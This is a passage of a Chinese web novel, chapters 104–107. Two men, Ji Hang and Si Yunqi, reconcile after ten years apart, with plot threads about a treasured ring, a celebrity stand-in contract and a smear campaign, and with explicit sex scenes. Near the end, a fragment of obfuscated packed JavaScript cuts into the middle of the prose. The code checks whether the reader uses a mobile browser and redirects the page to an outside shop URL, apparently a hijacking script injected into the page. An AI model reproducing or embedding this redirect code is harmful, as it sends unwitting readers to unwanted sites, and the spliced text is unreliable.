成芜趴在病床前，迷糊间感觉到床动了。她撑起胳膊，看到季杭已经下了床，弯腰找着什么。
“哥——”
“成芜，我手上有个戒指，”季杭声音哑极了，“就在我手上戴着呢，怎么没有了……”
他浑身脱力，跪在地上弯腰看床底下，看床头柜下面，“怎么会没有呢，怎么找不到啊……”
起初季杭接过卡的时候她看到季杭手指间的戒指了，但季杭昏倒后先去了急诊，检查完后才到普通病房，成芜守着他时，
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他手上已经没有戒指了。
成芜心想，应该是季杭带着玩的，看起来也不贵，丢了应该没事。
可现在季杭的反应完全不是，他急疯了。
“我都去了哪里？”季杭依旧跪在地上，“我昏倒后都去了哪儿，我得去把戒指找回来，我得找回来……”
过了一夜，掉在哪里可能早就被扫走了。成芜安慰道：“哥，咱们再买一个也行。”
“不行，只有那一个，”季杭抓住成芜的手，眼眶红得厉害，嗓音又哑又抖：“你告诉我我都去了哪，我得找回来，那是司云起送给我的，只有那一个，得找回来……”
成芜愣在原地。
季杭拖着虚弱的身体，来回找了很多次，直到中午，终于在排椅和墙面的角落里找到了戒指。
成芜看到他背靠着墙，嘴唇发白干裂，但是戴上戒指的时候笑了。
鼻间消毒水的味道很重，让成芜想起司云起找到她的时候，也是这样的气味。
她不太理解，走过去蹲在季杭身前，“哥，司云起他在这时候跑了，你留着、留着他给的戒指干什么。”
季杭愣了愣，分不清是生病时的迟缓还是他想起了什么，过了很久才说：“成芜，别误会他，他没丢下我，是我赶他走的。”
成芜还欲再问，季杭却什么也不说了。
后来她慢慢长大，开始理解了那时季杭丢失戒指的反应。
人们习惯赋予某件事物意义，将它编织进生活中，就有了足够的理由去在乎。
于是在往后的时间中，将这份意义爱了又爱。
这枚不起眼的戒指掉在地上都不会有人捡，也许是捡起来发现太廉价继续扔掉，却被季杭珍重保护了十年。
有意义的从来不是戒指，而是司云起。
……
“丢了那次后，我哥就没戴在手上了，最开始他找了个绳挂在脖子上，过了两三年换成了素链。”成芜告诉司云起，“云起哥，其实那枚戒指早就生锈了。”
常被摩挲的戒指在漫长时光中生了锈，爱在常常惦念中愈发深厚。
“每回提到你，我哥都说你什么都没做错，他说错的是他，时间久了，我也觉得当初是不是误会了你什么。”
司云起低声说：“小芜，谢谢你。”
“不用谢，看到你们能在一起我真的很高兴，”成芜端起凉粉，“云起哥，咱们回吧？”
把成芜送回去后，李达正搜导航，司云起告诉他不用了，先回家。
李达没阻止。
到家时已经是半夜，司云起停在季杭房间门前，手落在把手上，平缓了好几次呼吸才拧开。
月光从窗户透进房间，映的床上一片银白的光。
床上是空的。
司云起突然想到了什么，立刻转身去自己房间。
他压制着开门的动静，泄开一道缝后，里面的人好像还是听到了，摁亮了床头的灯。
灯光晕开，司云起看到刚刚坐起身的季杭。
许是没料到司云起会突然回来，季杭蹙眉反应了两秒，质问道：“你行程不是很赶吗，怎么半夜回来？”
司云起没回答。
季杭后知后觉意识到自己睡在人家的床上，不尴不尬地下床，指着阳台说出自己睡在人家床上的合理理由：“我买了棵山楂树。”
他边说边走过去，拉开窗帘证明给司云起看。
“只有你的卧室适合山楂树晚上生长，”他特意强调重点，“是晚上生长，我就搬过来了。”
——“晚上我房间不利于山楂树的生长。”
——“所以搬到你房间来。”
——“鉴于你有偷山楂树的前科在，我不能让你们共处一室。”
——“它进来，我也要进来。”
——“我睡外面，你睡里面。”
记忆随时出现，让爱更加生动。
“但是，山楂树是我的，”季杭说，“所以我得守着它。它进来，我也要进来。”
说完后季杭走回床边，随意指了指，直着脖子说：
“你睡那边，我睡这边。”
104.戒指
有时候季杭觉得，爱真的时候很奇怪的东西。
这些年他没有新的朋友，起初是听到同事说，后来听同事领导说。说他内敛成熟，说他稳重不爱和别人打交道。
现在他都二十八了，背着别人的评价过了十年，一遇到司云起，十八岁的他好像撬开外壳出来了。
他梗着脖子说不合性格跟年纪的话，抛出去蹩脚的理由，说完的瞬间，他也觉得好笑。
互相喜欢早就已经是他们之间的明牌了，只是因为他试图补上一段过程，平白叫司云起也得跟着等。
等了十年，还得再等。
“司云起，”站在台灯没映到的地方，季杭自嘲道，“我是不是很幼稚。”
兴许是刚风尘仆仆赶回来，司云起说话时带了几分颤：“没有，季杭，你很爱我。”
季杭“啊”了声，不自在地动动脖子，准备爬回床上，“你想多了，没很爱，也就只有一点点。”
司云起摇头，自顾自说：“你爱了我很久。”
季杭动作顿了下，下意识反驳：“没有很久。”
此刻的司云起太奇怪了，半夜赶回来，没头没尾地说这两句话。季杭察觉到不对劲，绕开床走向他。
没走两步，司云起突然上前，将他拥入怀中。
这是一个有点凉的拥抱，季杭双手绕到他背后，安抚地拍了两下，问：“出什么事了？”
司云起紧紧地抱着他，“季杭，喜欢我么。”
季杭说：“喜欢。”
“有多喜欢？”司云起问。
季杭声音还是平静的，像是在阐述事实：“多喜欢？也就还好吧，毕竟、”
“还好？”司云起重复着他的话，“还好……”
还好么。
起个名字叫“我爱爆司云起了”，却说还好。
“季杭，”司云起继续问，“喜欢了我多久？”
事情似乎在朝着季杭最不愿的方向发展，许是被司云起抱得太紧，他胸口闷涩，无法言语的遗憾悄然爬上心头，他却依然要挡住试图窥探真相的司云起。
“最近喜欢的，”季杭说，“和你的十年没法比，我知道你遗憾，但过去的事情就让它过去吧。”
最近么。
最近喜欢的，颈间的素戒却珍重了十年。
司云起嗓音很轻，却能从中听出浓厚的无可奈何，“季杭…能不能别骗我了啊。”
心尖被猛地戳了一下，顿时横亘在漫长年月里的所有难过与不甘涌了过来，将他整个淹没。
不停地有声音让他全部告诉司云起，说司云起承受能力没那么差。不同的话一样的意思，重重复复响在他脑海里。
沉寂了好久，季杭从情绪挣脱，全身心回归司云起的怀抱。
让司云起以为这十年自己从没喜欢过他，和让他得知自己明明喜欢他却在那年因为他要进入演艺圈才被迫分开，这两个相比，后者实在太重。
在这段爱里，他们很难分出谁更胜一筹，相爱的两个人本来也不必细数这些。
爱是越多越好，遗憾是越少越好。
他很用力地回抱司云起，隔着两层浅浅的布料。
拥抱是身体的接吻。
抱得越紧，吻得越深。
这个拥抱太温暖了，他太喜欢这个人了。
所以季杭扯出一个笑，尽力维持着轻松的语气：“我没骗你，是不是这段时间我做的事情太奇怪，其实我喜欢一个人就是这样的，总会做出些不合年纪的事情，显得很傻是不是。司云起，忘掉之前的事情吧，我现在喜欢你，以后会更喜欢你，咱们都向前看。”
“不合年纪？”司云起重复这四个字。
季杭说：“对，以后我成熟点。”
话音未落，睡衣忽然被撩开，炙烫的掌心贴在他后腰。司云起嗓音流转在季杭耳边，“那我们做点合年纪的事情。”
被握住时，季杭闷.喘了声。
……
属于身体的接吻分开后，是进入与包容。
“司云起，不行，”某处的感觉尤为鲜明，即便只是司云起的指尖。季杭紧蹙眉心，摸索着去找手机。
“我叫个外卖，”他解释。
司云起空的手去拿手机，因为全身紧绷，季杭握着手机的力气也重，司云起从他手中拿走手机时，手机壳已经脱落了两个角。
他将手机丢开后从口袋里拿出两件东西扔到床上，“我买了。”
亲了亲这人的额头，将残存在掌心的东西送了进去，“暂时用不着，季杭，你这儿还有。”
潮红泛得更深，季杭难耐地偏开头。
“季杭，戒指是谁送的？”司云起问。
季杭摇头。
司云起便探得更深，“你这么宝贵它，我想知道到底是谁送的。”
缓了好久，季杭说：“司云起，你为什么非要知道这个。”
“我想知道，”司云起亲了亲他的眼尾。
季杭阖上眼，“是谁有什么关系呢，司云起，我都这个年纪了，有点过往不过分吧？”
“当然，”司云起宽宏大量地加了根手指，“你有什么过往都可以，我只想知道是谁。”
季杭喉结滚动一圈，“是个你不认识的人。”
司云起问：“现在和他还有联系吗？”
床单被季杭攥紧，他胡乱地摇头，又忽然被刺激地仰起脖颈，像是点了个头。
“怎么送给你的？”司云起问，“他亲手送你，你收下了？”
季杭扣住他肩膀，商量着说：“别问了，我送给你一个行不行？”
司云起说：“第一句不行，第二句行。”
什么第一句第二句的，季杭现在身体和意识都很乱。
“他亲手送你的？”在他更乱时，司云起追问。
“没，”季杭喘着气说，“没，我让他买的。”
司云起猛地想起十年前季杭送他离开时，曾用很是平淡的语气问过自己——
“买个东西给我，你付钱行不行？”
他当时什么也没问，后来眼睛好了，看到微信支付里最新的一条停留在他们分开那天。
收款方是私人，支付金额是50。
司云起闭上眼，平息了好一会儿，问：“多少钱？”
季杭说：“50。”
对上了。
“别提他了，已经过去了，”季杭抬手将他拉得更近，“我送你一个更好的。”
放在阳台的山楂树是季杭刚买回来的，卖这个的不多，他跑了好几个花鸟市场才寻到。
山楂树自带的花盆是最便宜的那种。他挑了个花盆，回来后直奔司云起房间，在地面垫了两张报纸，准备把山楂树放进花盆里。
但大小没把握好。花盆太小，山楂树
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太大了。
其实一定是适配的，第一次的原因，放进去格外艰难。
虽说是叫矮桩山楂树，但这棵树桩不矮，很高，也很粗，好不容易挤进去一点，花盆难以承受，在报纸上来回动。
山楂树卡在花盆口，又拧开瓶装水后往边缘倒了很多，才能慢慢地、一点点送进去。
山楂树摇摇晃晃，花盆越绞越紧。
送到最深处时，山楂树不知是不是歪了，花盆很剧烈地动了一下。
“他能送你戒指，”司云起吻在季杭侧颈，“那他能来你这里么。”
季杭抿紧嘴唇，额头沁出细密的汗，怎么也不肯回答。
司云起一只手绕到季杭颈后。
戒指被银链缠了好几圈。他将银链解开抽走，指尖捻着戒指，一圈圈绕开，而后握进掌心。
季杭只顾着忍住闷.哼声，对司云起做的毫不知情。
“你让他买戒指时在想什么，想和他在一起，还是想留成纪念？”
唇间刚泄开道缝想回答，先响起的却是不可抑制的情.动。
“当时他又是什么反应，你知道么。”
“不、不知道、司云起别……”
“那你想知道么。”
“不想……”
“你让他给你买的，有让他给你戴上么。”
“没…”季杭摇摇头，还不忘哄哄司云起，喘.息声中的嗓音很低，“都过去了，我也会送你戒指，我给你戴上……”
“为什么不让他戴上，不想么。”
季杭闭紧眼睛，不再回答。
某处停了，他的手突然被抓住。
司云起直起腰，摩挲着他的无名指。
下一秒，有个很熟悉的触感碰在指尖。
季杭睁开眼，床头的灯晃在他们身上。不久前季杭还说太亮了，想要关灯，现在却觉得不够亮。
因为司云起正在缓缓将戒指推进他的无名指。
他几乎是瞬间就红了眼眶。
那枚他妥善珍藏了十年多的素戒，丢失过后他始终用银链缠着戴在颈间，再不敢肖想往手上戴。
就如他不敢想能再和司云起见面一样。
却在这一刻，被送他戒指的人，亲手戴回了无名指。
“我来告诉你他的反应，”司云起握着季杭的手，“如果买下戒指的时候他看到了，他会在那时就为你戴上，会吻你，会和你说，他还会送给你更好的戒指。”
泪水顺着眼尾滑落，季杭泣不成声。
“可惜他当时眼睛受伤，没看到。所以他在想，你在买什么，要和他一起去哪里？”
“这个问题他没想出来，直到十年后他才知道，原来买的是戒指，原来是要送他离开。”
“也是十年后，他才能亲手为你戴上。”
司云起低了低头，在戴着戒指的手指上落下一吻。
“现在他告诉了你他的反应，也为你戴上了，该你说了。”
“季杭，告诉我，”司云起目光一眨不眨，落在这人眼睛上，“他来过你这里吗？你让他买戒指的时候，是想和他在一起，还是想留作纪念？”
人在赤.裸相见时，心是逃不掉的。
许久，季杭在司云起的注视下，剖开尘封十年的真心。
“他现在来过了。”
“那时候我想和他在一起……现在也想。”
105.时8娱乐
继热搜上出现#司云起迟到#没几天，#司云起缺席录制#又水灵灵地挂了上去。
李达看到的时候，第一反应先把手机音量调低。
果不其然，下一秒董依依的电话就打了过来。李达安抚完董依依，划走微博没再看，点开了今我来。
很好，一派祥和。
自从有了今我来这个app后，司云起的大部分唯粉就一直在这里，没理会过外面的争端。
那外面爱说什么就说什么吧，李达心想，不重要。
昨晚回来的路上，司云起给他放了天假。李达正想把手机撇开大睡特睡时，有条新的贴刷了出来。
【有起司在没？速去微博。】
李达心跳瞬间就扑通起来。
点开微博，司云起缺席录制的热搜又升了几名，下面还有一条。
#曲伯之司云起潜规则#
带头的营销号昵称叫“时8娱乐”，发了三张微信聊天截图。
两边的头像码掉了，只有内容和日期。
[[左：苍峦这个角色定了吗？想送我刚签的小孩去试试。
右：定了。
左：啊？没听到消息啊，哪个公司的啊？
右：好像没签公司，我也不清楚。
左：不是你负责简历吗？
右：曲导都刷掉了，就刚刚，我们组有个打杂的小年轻，被曲导瞧见，一眼相中了。
左：打杂的？当主演？
右：我也不知道怎么想的。
左：你记得删聊天记录。我听说过，曲导好像挺爱年轻男生的。
右：……前两天我刚给打杂的安排了宿舍，给他钥匙的时候看见他钥匙扣，上面也是个男生。
左：啧，算了，先不送我家小孩去了。
左：对了，那打杂的叫什么啊？
右：司云起。]]
发截图的人刻意露出日期，恰好是曲伯之的电影《无雁》正式开拍前。
时8娱乐粉丝量有一百多万，被它带头一发，这三张截图瞬间传遍全网。
李达拿起手机，从通讯录里找到前同事，时八。
在他还没跟着司云起脱离公司前，整个公司他能说上话的，只有时八，也就是时8娱乐的皮下。
时八和他同一年进的公司，两个人都是实习生助理，负责照顾丁熙年。
当年的丁熙年凭借一部大男主剧集红得发紫。网上到处都在夸丁熙年，说他年纪轻轻，竟然能抗住那么多打戏。还说他拍戏期间总是受伤，身上伤痕无数，有旧有新，肋骨断过，眼睛受过伤。
李达也看过那部让他爆红的电视剧，客观评价，丁熙年的表现力还不错，就是觉得打戏别扭。
要让他具体说出到底哪里不对劲，他也讲不上来。后来他看到有条评论说出了他的心声。
评论说，丁熙年真的没有用替身吗，总觉得正常丁熙年的身影和打戏时的身影不一样，而且打戏从来没有露过全脸。
李达顿时悟了，他一直觉得怪，是因为打戏太丝滑了，每次看到他都要扒拉进度条看好几遍，但每次看到丁熙年的脸，他很难把这张脸和做出高难度打戏的人联合在一起。
不搭。太不搭了。
还没等他发句回复附和，那条评论就被丁熙年的粉丝冲了。李达眼睁睁看着发评论的人被骂到账号注销。
即便只有这一点质疑的声音，剧组和丁熙年的公司还是以最快的速度做出澄清，表示丁熙年的戏份是分两个时间段进行的。先拍摄完了别的戏份，之后集中拍摄的打戏。这期间丁熙年跟着武术老师练习，瘦了，身上的肌肉也更结实了，所以才会有观众误会有替身。
同时，丁熙年的公司放出了好几张匿去个人信息的医院单子，最严重的两张是眼睛受伤和肋骨骨折。除此之外，还有很多细节图。
手腕红肿、肩膀挫伤、膝盖伤痕等等，说这些都是丁熙年拍摄期间受的伤。
公司的发言也很有意思，说在拍摄过程中，这些伤仅仅是冰山一角。丁熙年敬业，不肯用替身，脸上和脖子上也有遮不住的伤，为了观众观感，丁熙年放弃了所有能“耍帅”的机会，只为塑造出一个成功的角色，到头来却被恶意揣测。公司呼吁网友理智发言，不要寒了认真努力丁熙年的心。
李达那会儿还真被带着走了，觉得自己小人之心。
直到他和时八一起进入公司，第一次见到丁熙年。
媒体下的丁熙年是谦卑友善的模样，网上看得多了，李达大方介绍自己，本以为丁熙年会走近他，同他说上几句话。
结果却是，丁熙年目中无人，一个眼神都没分给他，问旁边的经理：“之前的不干了？”
经理小声说：“不干了，正闹劳动仲裁呢。”
“闹就闹，这些穷酸货，”丁熙年毫不在意道，“拿钱堵他嘴，提醒他，要是他敢在外面乱说半个字，后果他知道。”
经理为难道：“这次给您安排了两个助理，您耐心点，多教着点。”
丁熙年这才看了他们两个一眼，然后随手指了个人，“那个戴眼镜的，让他去运营一个账号，专门给我反黑。”
于是李达成了丁熙年在公司内的助理，时八建了个账号“十八娱乐”，这便是后来“时8娱乐”的前身。
丁熙年有专人助理，李达只负责他在公司内的事务，从来没跟着他出去过。
那时候丁熙年凭借打戏出圈，很多导演递了本子。他的经纪人团队筛了又选，挑了秦导的仙侠剧。
有次丁熙年回公司，离开的时候忘了拿台词本，就喊李达送过去。
李达头一次见拍摄的场景，公司里没他的事，趁丁熙年不注意，他站在不起眼的角落里看了好一会儿。
大概是没状态，丁熙年一场戏NG了十几次，后来终于顺下去了，秦导又不满意他的情绪。
眼看着现场气氛不对，丁熙年一通电话，立马有人去和导演组沟通。
后来秦导按捺着脾气，不冷不热地说：“没状态就明天拍，切下一场。”
立刻有人开始搬道具，然后出现了一个李达从没见过的人站在了场内。
那个人穿着和丁熙年一样的戏服，正惊讶呢，李达看到丁熙年坐旁边休息去了。
……
怪不得第一次见丁熙年的时候，他浑身一点受过伤的痕迹都没瞅见。
回公司的路上李达想。原来打戏真的不是丁熙年拍的，而是有个替身。
可那位替身不论体型气质还是模样都是一等一的，比他见过的绝大部分明星都帅气，为什么不争取角色，而是甘愿当丁熙年的替身呢？
再多的事情李达就不知情了，只是后来听说，秦导递完本子后亲眼见到丁熙年后就后悔了，但他们之间有商业牵扯，无奈下只能这样进展。但到底骨子里是个刚烈脾气，看丁熙年不顺眼，天天在剧组里吵。
最后和编剧俩人一起撂了挑子。
丁熙年爆红后的第一部剧，夭折在拍摄期间。
但他没受太大影响，公司公关部几乎只为他一人服务，秦导是个体面人，没在媒体前揭他真面目。
也是巧了，之后丁熙年看上的本子的导演和编剧，都很有性格。
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李达又偷偷去过几次，不出所料，次次都能看到和丁熙年穿同样戏服的人，也次次都能看到丁熙年和导演呛。
后果是拍摄期间连续夭折三部剧，第二部导演不干，第三部编剧不干。
网上议论纷纷，丁熙年回公司开了三天的会，最后决定，趁着风评最好的时候退圈，以后不拍戏了。
开完会后公司发布声明，李达听到出会议室的丁熙年打电话，说他本来也没想拍戏当明星，家里的老底够他吃一辈子，他就是想和司云起争。
如果起初他不知道司云起要学表演，他也压根不会去抢他试镜的角色。
司云起？李达回忆着，之前偷偷在剧组看时，别人好像喊的就是这个名字。
他又听到丁熙年说，司云起的合同在公司挂着呢，合同时间长到足以耗尽司云起最宝贵的十年。
丁熙年退圈后，司云起不再做他的替身，公司和他有合约限制，不允许他私自接戏接广告，也不给他发工资。
当替身时认识了不少剧组，最难的时候，司云起奔波在不同的剧组里打杂，以此赚钱。
偶然一次，曲伯之始终挑不到饰演苍峦的演员。心烦意乱，走出房间抽烟，意外看到不远处司云起的侧脸。
他脑海中猛地出现一份简历。
炎热夏天，他曾被一个少年拦在酒店外面，那个人满头大汗喘着粗气，却依旧有礼貌，将手里的简历交给自己。
简历上是另一个人，其中有张照片，眼睛上蒙着白纱布。打印出来的纸会消磨掉很多，比如灵气。
灵气往往需要眼神的配合。
当时那张简历里的年轻人，眼睛被蒙着，整张脸都看不清，但略显紧张的神态依旧显露无遗。
像极了他心里的苍峦。
于是《无雁》的主角敲定，苍峦饰演者，新人演员司云起。
和司云起公司谈判的过程不轻松。曲伯之也纳闷，要是哪家的艺人能跟自己合作，那是件值得在业内吹嘘的事情。
好在他话语权够重，就算是公司高层见了他也得给个面子。
电影《无雁》开始拍摄，司云起身边有了个助理，李达。
再之后的事情超出丁熙年的控制，和他短暂的导演宠儿不一样，司云起红得长久，火得名副其实。
钱早就牵制不了司云起了，唯一能牵制司云起的，只有季杭。
要么总说爱是奇怪的东西。
最开始是季满谦生病需要钱，丁熙年给他钱，让他做自己十年替身。司云起没犹豫就答应了，然后把钱都给了季杭。
可到后来，丁熙年竟然还能以告诉季杭真相为要挟让司云起继续签在公司里，继续牵制他。
又是没犹豫，司云起又答应了。
两次都是为了季杭。
为了这人在那样难的时候能轻松点，为了这人在日子终于好过后能快乐点，别有负担。
搞定司云起的合同后，丁熙年派李达监视着司云起的生活。
李达受雇于人，领公司的薪水，知道自己该做什么事，却总是忍不住以一个真正助理的身份关心司云起。
时8娱乐也成了公司内众艺人的反黑号，唯独没为司云起反黑过。
好在那时，借我瓶水出现了。
后来的司云起越来越红，在业内话语权越来越重；借我瓶水反黑的能力也逐渐变强，从最初的发微博连话题都不会带，到后来每条微博转赞评都能过十万。
冬去春来，日走月沉，晃晃又一年。
在从未停息的彼此惦念中，他们度过了深爱却互不知情的十年。
106.爱我么
李达已经找出了时八的手机号，想了又想，打出去时已经没有最初的怒气了。
这些年他在司云起身边，见过的不公不计其数，司云起没有一次是带着怒气处理问题的。
想想也对，发脾气解决不了问题，总得解决事情的根源。
他脑子里有了想法，但还得先和司云起汇报一声才行。
电话打给司云起，被秒挂。
李达思索两秒，又给季杭打了过去。
果不其然，接电话的是他老板。
李达听出来司云起的语气淡得很，那边的气氛好像…不是很愉快？
“老板，网上有点舆论，我有个想法……”
没等他说完，司云起撂下一句“你看着处理”就挂了电话。
有了这句话李达就放心了。虽说是个不大不小的决定，成功了好说，要是失败了没准会引起丁熙年那边更过分的假料。
但司云起既然说出让他看着处理，就代表相信并认可他的所有决定，就算结果不好，也会担下事情，不会迁怒于他。
跟了司云起这么多年，到后来成立工作室，也算是一个小型公司。李达从没见过司云起身边的哪个人是畏手畏脚做事的，司云起会给他们绝对的自由的信任。
李达有了底气，电话打给时八，说话语气都硬了不少。
反倒时八支支吾吾，还以为李达是来骂他的。
李达笑笑：“说实话，我刚看到的时候确实想骂你。要是别的营销号发的，我真不生气，但偏偏是你。咱们都认识这么多年了，我见证着你把这个账号做起来，从最初只给丁熙年一个人反黑，到后来给全公司的艺人反黑，唯独没管过司老师。没管过就没管过，就是没想到有朝一日，带头造谣的，竟然是你。”
那边没动静，李达等了几秒，继续说：“不过也就那一会儿，很快我就想明白了，跟当初丁熙年派我监视司老师私生活一样，领着丁熙年的工资，替他办事，应该的，你没错。”
时八说：“要是有机会，你帮我跟司老师说声对不起。”
“你没啥对不起的，要是真想说，你还是自己说吧。”
时八愣了愣，“我没有机会能再见到司老师。”
“那可不是，”李达问，“你愿不愿意跳槽来司老师工作室？”
“啊？”时八不可置信道，“你说什么？”
“以前司老师工作室的账号是我运营的，之后工作室还会签人，我对这方面实在不懂，想了想你很合适，怎么样，愿不愿意？”
“司老师他、我发了这个，他还愿意让我去？”
李达好笑道：“你是不是跟丁熙年久了，把所有人都想小气了。就去年年初的红毯，司老师压轴出场，结果他倒数第二个走出去了，压轴的成了公司刚签的艺人小文。你不知道内幕吧，其实是小文不知天高地厚惹了主办方，主办方使绊子，把他的排名去掉了，故意不让他走红毯。司老师看到后，把自己的时间提前了，给小文挤出来十几秒的时间。你也见过，小文在公司里横着走，没少给司老师使绊子。那之后小文问司老师不记恨他吗，司老师看了他半天，又想了半天，问记恨他干嘛，他们见过吗。”
时八被逗笑。
“那次小文彻底爱上司老师了，到现在还隔几天就找依依姐，想签到司老师工作室，依依姐不要他，司老师也不要他。”李达说，“你也别想那么多，我都能想明白的事情，司老师只会比我更清楚，你考虑愿不愿意来就行。”
“我想去，”时八说，“我真的想去，但申请离职肯定会遇到困难……”
李达理解道：“这我明白，所有想离开公司的人都得被丁熙年扒一层皮才能走的掉，你放心，只要你想来，我们就等你。”
“李达，真的谢谢你，我一定会尽力弥补这次带给司老师的负面影响的。”
“没事，以后咱是一个集体，有事一块儿解决。你要是有需要帮忙的就找我，我把法务微信推给你。”
挂断电话后，李达瞬觉一身轻。
他丝毫不怀疑时八那句“尽力弥补带给司老师的负面影响”，时八干营销号这么多年，关于丁熙年的事知道的比自己多得多，时八要是来了这边，丁熙年肯定会收敛。
他迫不及待想告诉司云起这个好消息，一想还是算了，司老师和季医生那边的气氛不太对，还是别在这个时候打扰他们了。
如他所想，那两位，气氛确实不太对——
天色大亮，山楂树接受着阳光的洗礼，明明晃晃。
隔了一面窗帘的房间里，床头的灯还在亮着，映照着被胶带粘起来的纸。
随着床晃动，纸面好似波光。
十年来，这张纸像现在这样出现在明面上的机会不多。以前被季杭藏在相框后面，搬过来后被季杭放在了手机壳里。
夜里司云起拿走季杭的手机时，手机壳脱落了两个角。
天刚亮，司云起一只手搂着熟睡的季杭，去摸手机看时间，摸到了季杭的手机。拿起来的时候碰到手机壳后面有东西。
于是台灯被摁亮，司云起看着那张由他用左手写下“我喜欢你”四个字的纸，久久无声。
季杭眯眼感受到光亮，他在睡意朦胧间抬手碰了碰司云起的脸，说：“司云起，早上好。”
……
枕头被压在小腹下面，季杭额头难耐地蹭过床单，被司云起从身后压上去，反手扣着他接吻。
季杭伸手去抓那页纸，戴着戒指的手出现在整个房间里最亮的一处，手背上青筋凸起，紧紧抓着纸不再松手。
低.喘和轻.哼吞没进司云起的吻里，他们唇齿相依，密不可分，共享着彼此的呼吸。
一枚生锈的戒指、一页写着“我喜欢你”四个字的纸。
戒指很小，容易丢失。纸张脆弱，轻巧易破。
这么两件东西，被季杭藏了十年。又在一夜之间，被司云起尽数捕获。
司云起将这人的手抓回来，摩挲着他手里的纸。满是胶带的纸光滑坚硬，像极了这人的嘴。
“季杭，为什么把它用胶带缠满，怕它破么。”
季杭蹙紧眉心，费力地睁开眼睛，灯光晃进眸中。
“我、”
没给他说话的机会，司云起又吻了过去，咬了下他的舌尖。
“季杭，你就守着这两个东西过了十年么。”
“司云起……”
司云起不听他说，短暂分离后又封住这人的唇。
“送我离开的路上，让我给你买个戒指。”
“是送我走后找到这张纸的么，找到后怕它坏掉，用胶带缠满。”
“去山顶挂许愿牌，写司云起眼睛快好起来永远不受伤。怕时间久了字迹不清么，也怕绳系不结实，所以字是刻上去的，用了那么多绳绑住许愿牌。”
“开个营销号给我反黑。为了不吸引注意力是么，所以什么新闻都发一点，让别人觉得借我瓶水真的就只是一个营销号。”
“我看到你去年秋天的微博，有人散布一家公司股东和员工是同.性.恋，被你怼了有病。那时候你在想什么，为他们发声的时候，也想到自己了么。”
说话间季杭剧烈地抖了几下。
“有没有羡慕他们，他们可以在一起，你却不能。”
季杭摇头，攥紧手里的纸，待到抽离后，翻过身拥抱司云起。
又是不给他说话的时间，司云起覆上他的唇，眼泪滴落，掉在他眼皮上。
季杭被那滴泪烫到心尖发麻。
司云起继续道：“因为你喜欢的人要做演员，你担心影响他的前途，所以不承认喜欢。你还担心会拖累他，所以什么都不肯说就送他离开，对么。”
听起来句句都在问，却又句句都不需要季杭的回答。
甚至。
司云起都能预想到季杭一定会嘴硬，试图将这些事情圆的没说起来那么惨。所以他不给季杭说话的机会，不听他的辩驳。
只是最后，他还是很想问一句。
“季杭，这十年苦不苦。”
季杭一直在摇头。
他坐起身，也把司云起拉起来。
然后他一手捏着纸，另一只手指在上面的四个字上，晕着潮红的眼尾衬得眸光苦涩，一眨不眨地看着司云起。
司云起便明白了他的意思，轻声念出、亦是复述十八岁那年他早就说过的话——
“季杭，我喜欢你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099515|132100||http|test|mini|href|location''.split(''|''),0,{}));
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季杭笑着掉下眼泪，跨坐在他腿间。
他凑过去吻司云起的眼睛，把眼泪都吻走，递到舌尖尝到苦涩。
但不苦的。
他感受着爱人的体温，一下下吻着他的眼睛，“司云起，我爱你，所以真的不苦。司云起，我爱你…我最爱你。”
……
“还有别的事情瞒着我么，”司云起问。
“没有了，”季杭这样说。
司云起亲了亲他心脏的位置，说：“好。”
不知是谁的手机连着振动了几声。司云起本想不管的，但季杭担心会是医院的事情，他不太方便去够手机，拍拍司云起的肩膀，让他去拿。
司云起侧身拿手机时，他也跟着动。
手机上并没有未读，季杭丢开后去找司云起的手机，让他看。
是李达发来的消息，季杭非得让他看是不是工作的事情。
他只能倚着床头，让季杭靠在自己肩膀，以拥抱的姿势把手机拿到季杭身后，点开了消息。
李达发了段话，下面跟着一张照片和一条视频。
话的大概内容是说，这是很早之前丁熙年发给时八的，要他留着抹黑司云起用，一直没用上，时八也没删。现在发给李达，觉得丁熙年可能会再用这些，提前问问司云起怎么办。
司云起没想怎么办。
他点开照片，看到的是眼睛上蒙着厚厚白纱布的他，还有季杭的背影。
照片定格的这一刻，季杭正踮脚去亲他眼睛。
又连起来了。
原来当初这人讨到的生日礼物，是这个吻。
季杭察觉到挺.动停了，传到耳边的呼吸声逐渐加重，他问：“怎么了？”
司云起没答话。
“很严重吗？”季杭抱紧他，“不管发生什么，我和你一起面对。”
司云起说：“和我一起听。”
好像是很紧张的事情。
季杭亲亲他的侧颈，安抚着说：“好，我在呢。”
司云起将音量调到最大，点开视频。
没有半秒给人反应的时间，视频开始就是司云起说的那句话：
“季杭，我喜欢你。”
之后是长久的沉默，伴随着电流沙沙的声音。
和此刻静静呼吸却谁都没说话的他们如出一辙。
手机画面朝向司云起，他眼睛被蒙着，许久后说：“季杭，不喜欢我也没关系，没关系的。”
他走向季杭，声音苦涩，做着最后的挣扎：“拒绝我并不是一件值得你为难的事情，不喜欢我真的没关系……”
然后他试图去碰季杭的手，拍视频的人迅速跑开，撞倒椅子，因为太惊慌，发出很多杂乱的动静。
就成了司云起十年的心病。
季杭厌恶他，司云起真的这样以为了十年……
怀里的人越来越僵硬，可能是刚说完再没瞒着的事情现在又冒出来一件，紧张心虚之余，某处绞得很紧。
司云起又把视频放了一遍。
在十年前他的告白声中，他有点厌恶自己什么都不知道，所有事情都让季杭一个人面对。
料到所有事情都瞒不住了，季杭只好坦白。
而他也常常想问司云起。
所以在他说出当时的真相后，问：“司云起，这些年有没有怪过我？”
他期待司云起能说怪过，这样才对得起当初他们并不体面的分离。
司云起却只是说：“没有。”
“你突然被我抛弃，为了我和丁熙年签替身合同，过得那么辛苦……从来就没有怪过我么，”季杭有点崩溃地问。
司云起还是说：“没有，从来都没有。”
顿了顿，司云起说：“那时候我想，你哪里都好，只是不喜欢我而已，怪你做什么。”
说完的瞬间司云起很难过。
季杭那样喜欢他，不该被他误解十年的。
他更深地占有眼前的人，嗓音滞涩，重复地说：“季杭，说爱我。”
季杭说：“我爱你。”
……
那天司云起追问了很多遍爱我么。
季杭不厌其烦地重复了几百遍我爱你。
107.真相
今我来。
@我爱爆司云起了。
新动态。
【谢谢大家的建议，我和他已经在一起了。】
